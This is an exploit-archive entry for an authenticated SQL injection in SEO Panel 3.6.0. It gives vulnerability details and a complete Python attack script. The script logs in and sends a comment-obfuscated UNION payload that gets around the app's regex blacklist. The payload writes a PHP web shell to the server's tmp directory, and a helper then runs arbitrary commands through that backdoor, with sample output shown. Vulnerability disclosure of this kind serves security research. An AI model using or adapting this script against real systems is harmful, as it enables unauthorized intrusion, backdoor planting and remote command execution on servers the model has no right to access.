SEO Control Panel 3.6.0 - (Authenticated) SQL Injection

# Exploit Title: Seo Control Panel 3.6.0 Authenticated Sql Injection
# Date: 10/10/2014
# Exploit Author: Tiago Carvalho tcarvalho@dognaedis.com or tiago.alexandre@gmail.com
# Vendor Homepage: www.seopanel.in
# Software Link: http://www.seopanel.in/spdownload/
# Version: Seo Panel Version 3.6.0
# Tested on: Kali Linux and MAC OS X Mavericks
# OSVDB ID: Requested
"""
This vulnerability affects Seo Control Panel -
Product: Seo Panel Version 3.6.0
Tested on PHP 5.4.4-14+deb7u14
Vendor url :http://www.seopanel.in/
Their are multiple vulnerabilitis in the project not all of them are
exploitable
The Flowing exploit is able to successfull bypass the implemented
protections based on set of regex with along with a blacklist
the protections are implemeted in the flowing file:

file : includes/sp-load.php
lines: 128 to 150

The protection can easly be bypassed with payload used by this exploit

The Vulnerable method exploited is located at:
file: seo-plugins.php
method: __getSeoPluginInfo
lines: 175 to 178
Due to incorrect use of database client api

$ python seopanel.py e 127.0.0.1 /seopanel/ spadmin spadmin
[*] Upload was successfull!

$ python seopanel.py c 127.0.0.1 /seopanel/ "ls -la"
total 12
drwxrwxrwx 2 root root 4096 Oct 9 18:06 .
drwxr-xr-x 14 root root 4096 Oct 9 11:31 ..
- -rw-rw-rw- 1 mysql mysql 42 Oct 9 18:06 buckle.php
"""

#!/usr/bin/env python
import sys
import urllib2
import urllib
import cookielib
"""
	This vulnerability affects Seo Control Panel - 
	Product: Seo Panel Version 3.6.0 
	Tested on PHP 5.4.4-14+deb7u14
	Vendor url :http://www.seopanel.in/
	Their are multiple vulnerabilitis in the project not all of them are exploitable
	The Flowing exploit is able to successfull bypass the implemented protections based on set of regex with along with a blacklist
	the protections are implemeted in the flowing file:
	
	file : includes/sp-load.php 
	lines: 128 to 150
	
	The protection can easly be bypassed with payload used by this exploit

	The Vulnerable method exploited is located at: 
	file: seo-plugins.php 
	method: __getSeoPluginInfo
	lines: 175 to 178
	Due to incorrect use of database client api 

	$ python seopanel.py e 127.0.0.1 /seopanel/ spadmin spadmin
	[*] Upload was successfull!
	
	$ python seopanel.py c 127.0.0.1 /seopanel/ "ls -la"
	total 12
	drwxrwxrwx  2 root  root  4096 Oct  9 18:06 .
	drwxr-xr-x 14 root  root  4096 Oct  9 11:31 ..
	-rw-rw-rw-  1 mysql mysql   42 Oct  9 18:06 buckle.php

"""
def exploit(host,path,username,password):
    #POST Login content type
    headers = {'Content-type': 'application/x-www-form-urlencoded'}

    #payload creates a file in project_dir/tmp
    payload = {'pid':'\' UNION/**/select/**/\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',"\<\?php system($_REQUEST[\'cmd\']);\?\>"/**/from/**/seoplugins/**/into/**/outfile/**/\'/var/www/seopanel/tmp/buckle.php'}

    base_url = "http://"+host+path
	
	#url
    post_args = {'userName': username, 'password': password,'sec':'login','referer':base_url,'login':'Sign In >>'}

    #login url
    url_login = base_url+"/login.php"

    #vulnerable url
    url_plugins = base_url+"/seo-plugins.php"

    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    request = urllib2.Request(url_login)
    request.add_data(urllib.urlencode(post_args))
    request.add_header('Content-type', 'application/x-www-form-urlencoded')
    login_request = opener.open(request)

    code = int(login_request.code)
    if code == 200:
    	try:
    		##The server returns a http status 500 but even when the attack is successfull
    		opener.open(url_plugins,urllib.urlencode(payload))
    	except Exception, e:
    		if check(base_url) == True:
    			print "[*] Upload was successfull!"

#call uploaded backdore and execute requested command
def shell(url,command):
	url_shell = url+'/tmp/buckle.php'
	encoded_args = urllib.urlencode({'cmd':command})
	return urllib2.urlopen(url_shell, encoded_args)
	

#call uploaded backdore execute requested command and print the result
def cmd(host,path,command):
	url = "http://"+host+path
	print shell(url,command).read()

#check uploaded backdore is in place 
def check(url):
	code = shell(url,"ls").code
	if(code == 200):
		return True
	else:
		return False

if len(sys.argv) == 6:
	if str(sys.argv[1]) == "e":
		exploit(str(sys.argv[2]),str(sys.argv[3]),str(sys.argv[4]),str(sys.argv[5]))

if len(sys.argv) == 5:
	if str(sys.argv[1]) == "c":
		cmd(str(sys.argv[2]),str(sys.argv[3]),str(sys.argv[4]))